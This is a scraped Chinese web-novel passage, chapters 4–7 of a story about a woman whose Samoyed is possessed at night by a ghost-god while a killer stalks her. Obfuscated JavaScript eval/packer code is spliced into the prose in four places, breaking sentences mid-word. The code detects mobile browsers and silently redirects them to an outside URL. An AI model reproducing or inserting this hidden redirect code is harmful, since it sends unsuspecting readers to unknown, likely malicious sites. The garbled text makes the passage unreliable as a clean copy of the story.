“我去。”钟运喜凑过来,“你这是什么年代的老古董啊?我们现在都用的智能手机好不好?” 钟运喜看向他:“你知道智能手机是什么不?” 向柯在他看外星人一样的眼神里摇了摇头。 钟运喜:“……无敌。” 向柯把小灵通扔到桌上,找补道:“我是因为之前失过忆才不记得这些东西的。” “别找借口。”钟运喜毫不留情地拆穿他,“这几年也不见得你去了解。” 向柯还在嘴硬:“我工作忙。” 钟运喜睨他一眼:“别找借口,现在立刻马上,拿上你的存款和我走!” 向柯:“去哪?” 钟运喜:“带你打开新世界的大门。” …… 拿到手机的后,钟运喜迫不及待帮他下满了各种娱乐APP,然后郑重地将手机交到向柯手上:“闲着没事多刷刷,都跟不上时代了。” 向柯接过后打开其中一个软件,变过速的音乐声直击他的耳膜,他连续刷了几个视频,发现bgm都大差不差。 向柯:“没意思。” “等会等会!” 见他要熄屏,钟运喜连忙制止住:“你看评论区,这届网友说话可有趣了。” 向柯插着裤兜,等着钟运喜给他找那些好玩的评论,十几分钟过去,钟运喜笑得喘不过气来,捂着肚子在地上大叫:“哎哟,我不行了。” 向柯仍旧冷着一张脸,他没觉得哪里好笑,不过阴阳人的话术他记了不少。 他想起了买手机的初衷,于是点开了钟运喜说的一款图文APP,搜索与狗相关的内容,然后看到了一条新发的帖子。 标题是:“家里的萨摩耶一到晚上就有变成人的征兆怎么办?” 向柯眉心一跳,心里莫名升起了一种不祥的预感,他点进去,看到了一只再熟悉不过的萨摩耶,它的脖子上还挂着那天到山神庙里求的平安符。 博主在帖子里详细描述了自家小狗一到晚上就变得很反常的种种行为,向柯看得眼皮一跳又一跳。 他觉得有必要为自己打一下掩护,于是决定学以致用,将刚刚看到的梗复制粘贴到了评论区,并点了举报。 …… 老城区的小公寓内。 宁咚青有种顺着网线爬过去打人的冲动,正要回怼他几句,就发现自己的帖子被人举报下架了。 宁咚青:。 咋了,她是戳中谁的心事了吗? “嗡嗡——” 正当她要脑补一出灵异大戏时,手机忽然震了下。 是韩笑笑发来的消息。 “青青,我好想去旅居啊,你想去吗?一起呀!” 宁咚青还没和她说自己被追杀的事,正斟酌着怎么开口,韩笑笑一通电话就打过来了。 宁咚青按下接通键,她洪亮的声音从手机里炸开:“青青!我已经找好地方了!你去不去?去不去?去不去?!” 听得出来韩笑笑很兴奋,宁咚青实在不想这时候泼她冷水,但…… “笑笑,我可能去不了。” 电话那头瞬间没声了,再次听到她的声音时,里面有藏不住的失落。 “为什么呀?” 宁咚青盘腿坐在地毯上,一只手搭在宁国庆的头上:“你知道南城最近发生的连环杀人案吗?” 韩笑笑懵懂地点了点头:“我听说了,但没怎么关注。” 她说完这句话后,像是反应过来什么似的,声音有些发抖:“怎么了?青青你不会出什么事了吧?” 宁咚青笑了笑:“没有,我要是出事了还怎么和你打电话?” 韩笑笑提起来的心一下子落下去:“那就好那就好,我还以为……” “但是我被凶手盯上了。” 韩笑笑似乎是没反应过来,她疑惑地“嗯?”了一声。 宁咚青道:“那天晚上我看到他杀人了。” “什么?!!!” 韩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755401|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑发出了一声尖叫,电话那头丁零当啷响,似乎是掉了什么东西。 “什么时候的事?你怎么现在才说?” “你没受伤吧?那混蛋有没有把你怎么样?” “你为什么现在才和我说呀?哎哟,我急死了,你要有个三长两短我怎么办?” “你爸妈知道这件事吗?” “……” 韩笑笑像打机关枪一样在电话里疯狂输出。 宁咚青耐心地听着她劈里啪啦说了一大堆,两个人说了半天,韩笑笑总算了解了情况,但她还是假装生气道:“这么重要的事你都不和我说,是不是不把我当朋友?” 宁咚青连忙道:“怎么会,你是我最好的朋友了,我这不是怕你担心嘛。” 韩笑笑也知道她就是这样的性格,她叹了口气:“你啊。” 宁咚青道:“没事的,你别担心,我能保护好自己。” 韩笑笑没搭话,一阵短暂的沉默后,她突然道:“青青,要不我请年休假来和你住几天吧?” “你不是要去旅居吗?”宁咚青拒绝道,“我没事的,你年休假留着出去旅游,别浪费了。” “不行,你这样我怎么放心嘛。” 韩笑笑说完,忽地一拍掌,“欸,青青,要不你和我一起去我外婆家住几天吧,正好避避风头。” 没等宁咚青说话,韩笑笑又道:“我外婆家那边这几天可漂亮了,绿油油的,去嘛去嘛,好不好?” 韩笑笑软磨硬泡了半天,宁咚青总算妥协道:“好吧,但是会不会太给你们添麻烦了呀?” “不会不会。”韩笑笑道,“我外公外婆都可喜欢你了,那我们就下个星期出发怎么样?” 宁咚青笑:“好。” 挂电话前,韩笑笑还特意嘱咐:“不要忘记请年休假哦。” 宁咚青笑着拉长了声音:“遵——命——” …… 和韩笑笑通完电话,宁咚青心情轻松了不少。 之前和宠物医院预约了狗狗体检,宁咚青收拾了一番便牵着宁国庆出门了,这会太阳正烈,即使打着遮阳伞还是感觉到很热。 宁国庆本来一直跑在她前头,这会也吐着个大舌头一摇一摆地走在她脚边,宁咚青觉得它随时会罢工。 这个想法刚从她脑子里冒出来,宁国庆就趴下了。 宁咚青:“……” 她看了看导航,这里离医院还有两三公里的距离,宁咚青只好将它搬到阴凉处,拿出手机再次尝试打车。 “打不到啊。” 宁咚青叹了口气,老城区这边实在太难打到车了,更别说还要带只狗。 昨天那么轻易地能打到车,真是走了狗屎运。 “滴滴——” 一辆黑色卡宴忽然在她面前停下,按了两声喇叭。 宁咚青怔了怔,就见车窗被人降下。 向柯一手扶着方向盘,一只手摘下了墨镜,露出了那双瞳色不一样的眼睛。 不得不承认,这是一双很漂亮的眼睛,里面仿佛装着被揉碎了的漫天星河,但因为眼尾狭长又略微上翘,看人的时候总显得薄情冷淡。 但这好像只是宁咚青的错觉。 她听见他说—— “上车。” 5. 第 5 章 车内和车外完全是两个世界。 外面有多闷热,里面就有多凉爽,宁咚青抱着宁国庆坐进后座的那一瞬间,就像咬了一口被井水浸泡过的西瓜,冰凉霎时沁人心脾。 “去哪?” 向柯将手搭在方向盘上,撩起眼皮扫了一眼后视镜里的一人一狗。 宁咚青敢上一个认识不到两天的人的车,其实和宁国庆也有些关系。 因为它对危险异常敏感,这几年只要它在她身边,就是一个兢兢业业的小保镖,不让任何危险伤害到她。 宁国庆对向柯却完全没有戒备心,像只毛毛虫一样瘫在后座,闭着眼睛睡得安心,不知道是不是他车上的空调太舒服的缘故,宁咚青竟然听到了它轻微的鼾声。 “宠物医院。”宁咚青道,“离这里最近的那个,麻烦了。” 向柯道:“它生病了?” 宁咚青:“没有,就是做个体检。” “怎么突然要体检?” 向柯不禁想到了她今早发的那条帖子。 其实本来是很平常的体检,因为她提前两个星期就已经预约了。 但鉴于宁国庆最近晚上有些反常,宁咚青想了想道:“去看看脑子。” 向柯:“……” - 到了医院,宁咚青下了车后正准备牵着宁国庆去挂号,一回头发现向柯不远不近地跟在后面。 “?” 宁咚停下脚步,转过身,等他走到跟前问道:“还有什么事吗?” 向柯将手虚握成拳,抵在唇边咳了一声,有些不自然道:“我……有个朋友的狗也在这家医院治疗,来都来了,顺便看看。” 宁咚青了然,指了指医院门:“那一起进去吧。” 向柯:“嗯。” 向柯似乎真有朋友在这,一进医院后他轻车熟路地左拐右拐,消失在了走廊转角。 宁咚青取完号后就带着宁国庆做各种检查,可能因为是周末,今天医院人异常的多,在外面等宁国庆照ct时,宁咚青还差点被人泼了一身烫水。 那人也不知道怎么回事,撞到人也不道歉,自己端着的盆里的水撒了也不管,抬手压低了帽檐挤出了人群。 任凭身后的人如何咒骂。 …… 等一切检查做完,太阳居然快要落山了,宁咚青领着宁国庆出医院的时候,向柯不知道从哪里冒出来,“检查的怎么样?” “你怎么神出鬼没的?”宁咚青被他吓了一跳,“挺好的,很健康。” 向柯似乎很关心宁国庆,他又问道:“脑子呢?没毛病吧?” 宁咚青摇了摇头:“没有。” “你朋友的狗怎么样?” 她又问。 向柯噎了一下,替无中生有的朋友与狗收下了这份关心:“也挺好的。” “那就好。”宁咚青笑了笑,“要不我请你吃饭吧?谢谢你送我们过来。” “好……啊,不用了谢谢,我还有点事。” 向柯本来是打算答应的,毕竟这样就能和宁国庆多相处一段时间,但在话说出口的一瞬间,他看了眼时间,随后舌头在嘴里抡了一圈,违心地拒绝了宁咚青。 要是吃着饭他突然凭空消失了附身在这只萨摩耶上怎么办? 宁咚青料到他也不会答应,于是出于中国人的礼貌,客气道:“那改天吧。” 谁想,向柯没和她客气,他郑重地点头,语气认真:“好啊,明天怎么样?” 宁咚青:“……” 怎么和她想的不太一样啊。 宁咚青扯着嘴角勉强笑了两声:“那明天下午?你想吃什么?” 向柯却道:“下午不行。” 他怕突然变成狗。 宁咚青有些为难:“可是白天我要上班,比较忙,没什么时间。” “那就早餐吧。”向柯厚着脸皮道,“你早上要遛狗吧?我们顺便去吃点。” 这人…… 宁咚青干笑两声:“……行。” 向柯点点头,心情很好:“走吧,我送你回家!” 有车不坐是混蛋,更何况还是豪车。 宁咚青抱着宁国庆再次舒服地搭了个顺风车,开着车窗吹风的时候她的心态已经完全变了。 用一顿早餐就能买来两张卡宴体验卡,简直不要太爽啊! 但不知为何,回去的时候向柯的车速明显比来的时候快很多,一路风驰电掣。 等到了宁咚青小区门口,向柯停好车,快速熄了火,然后和宁咚青打了招呼说要去趟洗手间后就急匆匆跑了。 “这是憋了多久啊。” 宁咚青看着他两秒就消失在远方的身影,随后感叹了一句,又忽然想起什么,弯下腰拍拍宁国庆的头:“你要不要也找个地方解决一下?” 宁国庆清澈的眼神在那一瞬间变得一言难尽,它沉默地垂下脑袋,看着地面,轻轻地摇了摇头。 宁国庆现在满脸写着四个字:婉拒,谢谢。 “果然啊,一到晚上就变得有人味儿了。” 要不是今天刚体过检,宁咚青还真怀疑宁国庆是不是出了什么问题。 科学解释不了的事,那就只能交给…… “你是不是被什么东西附身了?”宁咚青蹲下身,捧着它的脸强迫它和自己对视,“要不我们请个道士给你做做法?驱赶一下脏东西?” 向柯:…… 她居然说他是脏东西?!明天有点不想和她一起吃早餐了怎么办。 宁咚青看着宁国庆发愣的样子,有些忍俊不禁:“开玩笑的啦,你怎么这么可爱。” 她说着又要凑过去亲它,吧唧一口,亲得披着萨摩耶皮的向柯生无可恋。 - 宁咚青吸取了之前的教训,做晚餐前先把饺子和肉放在宁国庆前面,让它自己选。 果不其然,它又要吃饺子。 宁咚青给它煮了饺子,自己则炒了蛋炒饭,吃饭的时候,她发现宁国庆总是在偷瞄她的炒饭。 吃着碗里的看着锅里的。 可爱。 好想亲。 宁咚青克制了一下自己,三两下将炒饭吃完,洗完盘子后进了浴室。 一天之中最惬意的时刻莫过于临睡前的泡一个香喷喷的澡。 宁咚青调试好水温,放了满满一浴缸水,又撒了些泡澡专用的玫瑰干花瓣进去。 本来她一只脚都跨进水里了,她又觉得嘴馋,于是随便套了件单薄的吊带裙就从浴室里出来,想去冰箱里拿之前做好的酸奶甜品。 谁知一走过去,本来好好看着动画片的宁国庆一个猛子从沙发扎下来,头朝地,砰的一声,听着骇人。 宁咚青连忙跑过去,正要弯下腰将它抱起来,宁国庆却脚底抹油地溜了。 宁咚青看着它跌跌撞撞躲到角落,还不忘用爪子蒙住眼睛。 宁咚青:? …… 等她从浴室里出来,宁国庆又自己偷摸爬回沙发上看动画片了。 不料,她一走过去,宁国庆条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755402|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件反射一般从沙发上站起来,眼看着它又想溜,宁咚青眼疾手快地一把捞过,将它死死抱在怀里,宁国庆挣扎了半天,发现没用,耳朵一耷拉,妥协了。 “哼哼,你今晚必须和我睡。” 宁咚青抱着这柔软的一团,心情放松,经过这几年的相处,宁国庆都快成了宁咚青的阿贝贝,前两晚没抱着它睡,她都睡得不安稳。 宁咚青吹干头发后,连哄带骗加强制性把宁国庆诱拐到了自己的被窝里。 她身上的睡衣还是原来那一条吊带裙,身上还带着沐浴过后的清香,宁国庆接连打了两个喷嚏后将脑袋转到一边去了。 不知为何,自从上了床,宁国庆就一直紧闭着双眼,并且全身僵硬。 “你果然是被附身了,这么僵硬。” 宁咚青在伏在它耳边恶魔低语。 宁国庆浑身一颤,深吸了两口气,试图放松身体。 “你以前不是这样的,怎么两晚不和我睡,服务意识变这么差?” 宁咚青一整个压在萨摩耶身上,吐出的气息轻轻打在毛茸茸的耳边,向柯觉得特别痒,而且他觉得她说的话好奇怪啊…… 为了让她不起疑,向柯只好转动着这具毛茸茸的身体,将脑袋轻轻地靠在宁咚青的怀里。 宁咚青身上的气味立刻萦绕住他,弄得他很痒。 今晚注定难眠。 …… 宁咚青又是被宁国庆蹭醒的,她发现最近几天的早上宁国庆对她总是很热情,就像许久未见似的。 明明晚上都睡在她身边。 宁咚青闭着眼睛摸到摆在床头柜上的手机,按亮屏幕一看,六点零一分。 她还记得今天要请那个衣品很好的帅哥吃早餐来着,但昨天都没想起来要个联系方式,甚至不知道对方的名字。 事实上她多虑了。 宁咚青牵着宁国庆一下楼,就看到了那辆黑色的卡宴。 她走过去,敲了敲车窗。 车窗降下,露出了一张略显疲倦的帅脸。 宁咚青道:“你下来吧,我们去街口吃,那边有家生煎包很出名。” 等他走下车,宁咚青才发现他还穿着昨天的衣服,衣服也有些皱,头发略显潦草。 像是通了个宵。 两人一路无话,宁咚青有些尴尬,出声打破了僵局:“你昨晚没休息好吗?” 向柯抿了抿唇:“是没休息。” 宁咚青:“失眠?” 向柯:“有点。” 宁咚青:“为什么?” 向柯:“不太习惯身边躺着个人。” 宁咚青:“女朋友?” 向柯:“……我单身。” 单身……晚上身边躺了一个人,一夜没睡,早上一脸疲态…… 宁咚青用手轻轻捂住了嘴巴,小声道:“家里人知道你是这种工作吗?” 向柯熬了一夜,都不太清醒,他打了个哈欠:“嗯?我没家人。” 他可是鬼神,不需要这种软肋。 然而传到宁咚青耳里就是另外一个故事了,她偷摸看了一眼被他们甩在身后的卡宴,脑补了一出富婆包养小帅的狗血戏码。 宁咚青瞄了他一眼:“要不我们还是去喝枸杞猪腰粥吧,听说那个补……” “汪汪汪!” “小心!” 一辆货车像刹车失灵了一样正对着他们冲过来,向柯一把将宁咚青扯到怀里,急速往后退了几步,货车擦身而过带起的风沙将宁咚青的脸刮得生疼。 6. 第 6 章 “没事吧?” 等货车开过,向柯往后撤了一步,与怀里的人拉开距离。 不知为何,那呼啸而过的汽车轰鸣声在宁咚青的脑中久久挥散不去,勾出了一直藏在心底的一团乌云,宁咚青揉着脑袋,怎么也拨不开那团云雾。 听到向柯的声音,她才轻轻摇了摇头:“没事。” “你刚刚说什么来着?”向柯问道,“要吃什么?” “嗯?” 这个问题一下子将宁咚青的思绪拉回来,她躲开向柯询问的目光,眼神飘忽:“哦……那个啊,喝粥,去吗?” 向柯眼睛亮了一下:“好喝吗?” 宁咚青只喝过他家的皮蛋瘦肉粥,还不错。 “还行吧,可以买一杯尝尝。” 向柯小声道:“那生煎包不吃了吗?” 他挺想喝粥的……但是对生煎包也同样心动。 宁咚青笑了笑:“都吃。” 听到她这话,向柯嘴角上扬了瞬,但立马又被他压了下去,他绷着脸:“不是我想吃的,是你要请我的。” 宁咚青比了个“OK”的手势,大步流星地往前走:“跟上。” …… 粥铺人还挺多,排了很长的队。 “你在这排队吧。”宁咚青道,“我去买生煎包。” 向柯:“好,你吃什么?” 宁咚青:“都行,和你一样吧。” 宁咚青说完就牵着宁国庆往卖生煎包的方向走,包子铺人更多,排的队伍像一条长龙。 但好在老板动作很快,宁咚青买完包子的时候,向柯还在那边等着粥。 宁咚青将一袋生煎包递给他,问道:“你这边怎么这么慢?” 向柯道:“因为我要买的那个粥还没好。” 宁咚青问:“你买了什么粥?” 向柯:“枸杞猪腰粥。” 吃什么补什么,他果然…… 宁咚青表示理解:“挺好的,对身体好。” 实际上向柯是奔着想吃美食去的,他排队的时候问了好几个人,都说要买这个粥,既然买的人这么多,那肯定是这家店的招牌,他很想尝尝。 拿到粥的那一刻,他迫不及待地喝了一口,被烫得脸色涨红,但是…… “好好吃。” 宁咚青说出了他的心里话。 这一顿早餐吃得很满足,向柯心情颇好:“你公司在哪?我送你去。” 宁咚青还得先把宁国庆送回家,她道:“不麻烦了,我坐地铁就好,挺方便的。” 向柯指了指宁国庆:“那它呢?” 宁咚青道:“还有点时间,我去溜两圈,然后把它送回去。” 一听她这话,向柯心下一动,说道:“要不我帮你溜吧?” 这样一来,他就有充分的时间好好研究这只萨摩耶了,他倒要看看这只看起来不太聪明的小狗究竟是何方神圣。 “不用了。”宁咚青出声打破了他的希望。 说真的,她心再大也没有大到能把自己的狗交给一个刚认识的人,更何况自己还不知道他的名字。 “对了,我叫宁咚青,你叫什么?” “向柯。” 宁咚青点点头:“谢谢你,不过宁国庆还是我自己溜吧,就不麻烦你了。” “那我和你一起。” 向柯飞快地变了话术,要想深入接触一只狗,首先要接近它的主人。 宁咚青再一次义正言辞地拒绝了他,然而向柯这次就像没听到一样,她走一步,他就跟着走一步,把死皮赖脸这几个字刻在了脸上。 这个人到底怎么回事,明明那天晚上还拽得要死,把冷漠无情刻进了骨子里,怎么才两天就像狗皮膏药一样,甩都甩不掉。 这也就算了,宁国庆好像还很喜欢他,总是绕着他跑圈撒欢。 “胳膊肘往外拐的家伙。” 宁咚青将宁国庆塞进家门的时候如是说道。 …… 宁咚青将门锁好,下楼的时候发现向柯居然还等在那里。 他一手插着裤兜,懒洋洋地靠在车门上,看见她下楼后,朝她走过来。 宁咚青道:“你怎么还没走?” 向柯自然地接过她手里的包:“我送你去上班。” 宁咚青:“?” 她人没反应过来,就已经被向柯拉着上了副驾。 宁咚青在这个位置上如坐针毡,她像拉开门下去,向柯却已经把车门锁了。 “帮忙导个航。” 向柯系好安全带后,将手机丢给了副驾上的宁咚青。 宁咚青捧着那个最新款的折叠屏手机,一言难尽地看了向柯一眼:“……” “愣着干什么?”向柯道,“再不出发要迟到了。” 宁咚青抿了抿唇,说:“你手机就这么随便地给别人啊?” “里面又没有东西。”向柯不以为意,“无所谓。” 宁咚青打开了他的手机,还真是如同他所说的一样,他的手机不止没有锁屏密码,甚至连屏保都是初始屏保。 宁咚青导好航,将手机放回了原位,车子行驶出一段路后,宁咚青问他:“你不上班吗?” 向柯摇了摇头:“不上。” 宁咚青好奇心被勾起来了:“为什么?” 难不成真的是她猜的那样? 向柯斟酌了一下措辞:“遇到点事,最近没班上了。” 无业游民开卡宴,还用着上万的手机。 宁咚青更加确定内心想法了,她表示理解:“这年头,为了生活大家都不容易。” 向柯嗯了声,确实不容易啊,再不上班,他命都没了,还生活呢。 …… “到了。” 宁咚青是被向柯叫醒的,或许是他开的车太稳,她居然睡着了。 宁咚青拿上包,推开车门:“谢谢你啊向柯。” “嗯。”向柯应了声,在她一只脚跨出车门,踩在地上时,又问,“明天能请我吃早餐吗?” 宁咚青:“……” 她还没说话,向柯又道:“我送你上下班。” 他送她上下班,既保障了宁咚青的安全,又不需要她去挤地铁,而她只需要付一顿早餐钱。 虽然不知道向柯怎么想的,但宁咚青答应了,对于她来说,这是一笔很划算的交易。 - 周一的班真的很难上。 除去心理因素,又是开各种例会又是汇报各种周报数据的,一整天下来,宁咚青都累瘫了,好在,最近老板良心发现,不让她加班了。 “你们快来看,楼下有个帅哥!” “我看他很早就在那等着了,不知道是哪位小姐妹的新欢呀?” “这个世界到底是谁在幸福……操!” …… 临近下班,办公室突然一阵骚动,宁咚青拖着一副死人身体,混入了人群中。 顺着他们手指的方向,她看到了一个熟悉的身影。 宁咚青一个激灵,从人群中撤出来,收拾好东西,掐着点溜了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755403|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向柯换了身墨绿色的西装,这颜色衬得他皮肤冷白,加上他身高腿长的,就这么懒散地靠在车门边,吸引了不少目光。 宁咚青躲在柱子小声后面喊他:“喂,喂!” 向柯淡淡地将视线投过去,用口型说:“我不叫喂。” “……” 宁咚青当作没看见,她指了指左边,示意向柯把车停远一点。 向柯耸了耸肩,表示他没听懂。 宁咚青躲在柱子后面好一通比划,手都酸了,结果向柯又是一耸肩。 之前怎么没想起来加他微信呢。 宁咚青皱着眉,正想着怎么才能让向柯听=看懂自己的意思,就见他径直走了过来。 “?” 他要干嘛? 宁咚青心里的弦瞬间绷紧了,她正想要跑,向柯抢先一步抓住了她的手臂。 “跑什么?” 宁咚青连忙道:“你放开我,待会被人看见了,影响多不好。” “谁想看我们啊?”向柯不太能理解她的脑回路,“还是说你是公司领导?” 宁咚青:“不是。” 她只是个平平无奇的打工人。 “那不就行了。”向柯于是拉着她的手往车上走,“没人会看的,也造不成什么影响。” 宁咚青还在挣扎:“你不懂。” 水面平静太久,即使只是一粒沙子荡开的涟漪,也足以被大多数人窥见,更何况……这是同事的八卦。 宁咚青都不敢往楼上看,她的手机在包里震个不停。 向柯浑然不觉,他似乎心情很好。 宁咚青这会才发现他身上有一股淡淡的酒味,是很甜的樱桃酒的味道,盖过了他身上原本的苦橙甘草香。 坐到车里后这股味道愈发浓烈。 宁咚青问:“你喝酒了?” 向柯插好安全带,闻了闻衣服:“很明显?” 宁咚青点头:“有点,挺好闻的。” “朋友送的樱桃酒。”向柯手指敲打着方向盘,声音渐小,“喝了一点点。” “那个……你先别发车。” 有句话她憋在心里很久了。 向柯正要插车钥匙,看到她这样,问:“怎么了?” 宁咚青指了指方向盘:“你喝完酒开车过来啊?” 向柯点点头:“对啊,幸好没遇到交警。” 宁咚青:“。” “你这是违法的,酒后不开车你不知道吗?” 宁咚青的语气又急又快,向柯沉默了两秒,随后解了安全带:“我错了,那你来开?” 看他认错态度良好,宁咚青也没再和他生气。 两人互换位置后,宁咚青坐在驾驶座上,手扶着方向盘,发车之前,她还是觉得很有必要和他科普一下:“罚款这些都不说了,酒驾一次扣12分,还会暂扣驾驶证,如果出了什么事要承担刑事责任的,你知不知道?” 向柯坐在副驾驶上点头。 宁咚青也料他下次不敢了,于是启动了车。 她摸着方向盘,有些感慨,爸爸妈妈,她也是开上卡宴了。 两人一路无话,车子驶入老城区后,向柯突然开口:“没有驾照酒驾呢?” 宁咚青:“那是真刑啊。” 向柯:“哪个xing?” 宁咚青:“刑事的刑。” “啊。”向柯叹了口气,“那我改天去考个驾照吧。” “???!!!” 宁咚青一个急刹车,安全带勒得她咳个不停。 7. 第 7 章 “你没驾照?!” 宁咚青自认为是个情绪非常稳定的人,但在此刻也忍不住破声了。 这人到底是什么人啊? 其实向柯是有驾照的,只不过不是这个年代的,他回忆了一下放在床头柜里的那张老古董,大概是民国时候考的驾照了。 都过去多少年了。 “没事的。”向柯想了想措辞,“我开了很多年的车了。” 真正的老司机。 宁咚青欲言又止,临走前,她道:“我觉得还是算了。” 这话说得没头没尾的,向柯一头雾水:“什么?” 宁咚青说:“我还是坐地铁去上班吧。” “为什么?” 向柯着急了,这样他还怎么和她打好关系,接近那只萨摩耶? “我技术真的很好,只是,只是……” 只是他的驾照不是这个年代的而已,但他可以去考。 宁咚青觉得奇怪:“你为什么一定要接我上下班。” 仔细想想,先是她被追杀,后来向柯就出现了,还一直缠着她,他究竟有什么目的? 向柯坐在副驾驶上,手搭在车门上,将脑袋从车窗里探出去了些:“因为关系到我的人身安全。” 宁咚青:“……” “拜托了。”向柯双手合十,态度诚恳,“这对我真的很重要。” 据他所知,天道已经在物色新任鬼神了,他必须赶在新鬼神上任之前恢复法力,不然工作就没了! 这是多么可怕的一件事。 宁咚青心绪复杂,她不能完全将向柯纳入己方阵营,不管从哪个方面想,他都太可疑了。 她只道:“你先考完驾照再说吧。” 宁咚青说完转身上了楼,向柯从衣服兜里摸出手机,拨通了一个电话:“胡秘书,帮我报个驾校。” …… 宁咚青上了楼,路上遇到了几个邻居,她正要抬手打招呼,邻居们却都无一例外地将眼神避开了,侧身从她身边快步经过。 宁咚青抬起的手僵在了半空中。 她讪讪将手放下,身子稍稍后仰,垂下目光看了眼已经走到下一道楼梯的邻居,心里疑惑。 她继续抬腿往上走,到了楼梯拐角,一抬头,脸一瞬间变得煞白。 她家的门上被写了血字。 ——“去死!” 两个恶毒的大字被人用红油漆写在了门上,字迹凌乱又疯狂,宁咚青凑近一看,大字的旁边还有一行小字。 “你觉得货车会突然失控吗?” 宁咚青想起今早那辆朝她直冲过来的货车,当时就觉得奇怪,没想到还真是一场谋杀。 以前看悬疑剧的时候,这种情节一放出来,加上诡异的背景音乐,总能让她感到背后发凉。 没想到事情真正发生在她身上的时候,她比想象中的镇定,至少没有吓到浑身抖成筛子,或许是因为之前见识过更血腥的场面。 宁咚青避开红油漆,打开了门,宁国庆正坐在门口,看见她后立马站起来,摇着尾巴绕着她转圈。 看见它安然无恙,宁咚青松了一大口气。 …… 监控仍然只拍到了一个背影,警察寻遍了老城区的人,也没有找到目击证人。 凶手就像有超能力,来无影去无踪。 从警察局回来,宁咚青就一直窝在沙发上,她开了电视,想转移一下自己的注意力,然而门上的血字就像火烧铁刻在脑海里的烙印,无论她切了多少个台,放了多大的音量,血字在她脑海里越刻越深。 她耳边又响起了货车从耳边呼啸而过的风声,那风就像带了锯齿的刀,一刀一刀割在她身上,这一瞬间,这两天所有的痛苦和恐惧一齐涌上心头。 就像暴风雨来临之前的总有一段平静的时光,然而这些血字击溃了宁咚青心中最后一道防线,她将自己蜷缩起来,双手紧紧地抱着自己的弯曲的双腿,将脸埋了进去,任由恐惧如潮水一般将她淹没。 不知过了多久,她忽然被宁国庆重重撞了一下。 以宁咚青的坐姿,本来就重心不稳,被它这么一创,宁咚青像个企鹅一样直愣愣倒在了沙发上。 她的头发被泪水打湿,凌乱地糊在脸上,宁咚青随意用手扒开,哑着嗓子问它:“怎么了?” 宁国庆……不对,是披着萨摩耶皮的向柯抬起一只爪子拍了拍千辛万苦从橱柜里拿出来的干净的盆,示意宁咚青该去做饭了。 宁咚青:“……” 以往能敏锐察觉到她心情失落,然后疯狂贴贴逗她开心的小棉袄不见了,现在是一只脑子里只有吃的没良心的狗东西。 宁咚青慢吞吞地从沙发上挪下来,找到拖鞋后,无情地将向柯艰难拿出来的盆收走了,然后放了狗盆到他面前,倒满了狗粮。 向柯:“……” 就不能像前两天一样用放在橱柜里的盆吃好吃的吗? 他试图用宁国庆的可爱软萌的外表去迷惑宁咚青,然而等他调整好表情,想跟她撒个娇,一转身,发现宁咚青已经回房了。 看来她心情不太好。 向柯用爪子拍了拍毛茸茸的肚皮,身子一歪,倒在地上,他真的好饿。 老天啊。 而且不知道是不是下午樱桃酒喝多了的缘故,他现在感觉身体里有一股莫名的燥意在涌动,很不舒服。 …… 宁咚青回房后就将被子一股脑蒙到了头上,她此刻心里一团乱麻,只能闭上眼睛任由自己陷入黑暗。 迷迷糊糊中,时光好像倒流了。 她回到了那一天晚上,手里提着烧烤,大步流星地朝巷子里走去,宁咚青身体和理智似乎分离了,她不停地提醒自己不要往前走,不要往前走,然而双腿却不听使唤。 然后又是那天的场景,她看到了凶手拖着那具满是血污的身体……她不停跑,不停跑,这一次她没有遇到向柯。 凶手举起锋利的刀朝她的心脏狠狠刺去…… “啊!” 宁咚青一声惊呼,猛地从床上坐起,冷汗已经将她的睡衣浸湿,头发也是潮的,她睁开眼,眼前一片黑暗,适应了一会,她才从窗帘没有拉严实的缝隙里窥见一抹月光。 宁咚青摸索着打开了床头灯,按亮手机屏幕,一看时间,凌晨两点四十三分。 她将手机放回枕头底下,抽了几张纸巾擦了擦额头的汗,坐着缓了一会儿后,她掀开被窝,准备去上个厕所。 宁咚青将手放在门把手上,轻轻一拧,开门的声音在黑夜中被放大了数倍,她听到客厅里传来一阵乒呤乓啷的声响。 “宁国庆?” 宁咚青喊了一声,摸黑走到了客厅,手在墙壁上摸索,要去按灯的开关。 找到了! 宁咚青正要将开关按下,却被一只冰凉的手抓住了手腕。 “谁?!” 宁咚青心中警铃大作,见挣扎不开,她抬腿就要往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 